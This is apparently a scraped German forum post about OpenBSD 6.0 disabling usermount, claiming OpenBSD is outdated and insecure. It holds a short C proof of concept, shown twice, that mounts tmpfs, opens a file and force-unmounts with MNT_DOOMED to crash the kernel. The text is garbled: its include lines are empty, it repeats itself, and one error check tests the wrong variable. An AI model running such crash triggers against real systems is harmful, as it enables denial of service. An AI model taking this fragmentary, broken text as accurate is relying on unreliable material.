Thema: OpenBSD 6.0 schaltet »usermount« ab
OpenBSD ist veraltet und unsicher !
#endif // BUG_WRITEUP --------------------------------------------------- #include #include #include #include #include void xperror(int cond, char *msg){if(cond) {perror(msg);exit(1);}} int main(int argc, char **argv){struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };int x, fd; x = mount("tmpfs", "/mnt", 0, &args);xperror(x == -1, "mount"); fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);xperror(fd == -1, "/mnt/somefile"); x = unmount("/mnt", MNT_DOOMED);xperror(fd == -1, "unmount"); printf("no crash!\n");return 0;}
OpenBSD ist veraltet und unsicher !
#endif // BUG_WRITEUP ---------------------------------------------------
#include
#include
#include
#include
#include
void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}
int main(int argc, char **argv)
{
struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };
int x, fd;
x = mount("tmpfs", "/mnt", 0, &args);
xperror(x == -1, "mount");
fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/mnt/somefile");
x = unmount("/mnt", MNT_DOOMED);
xperror(fd == -1, "unmount");
printf("no crash!\n");
return 0;
}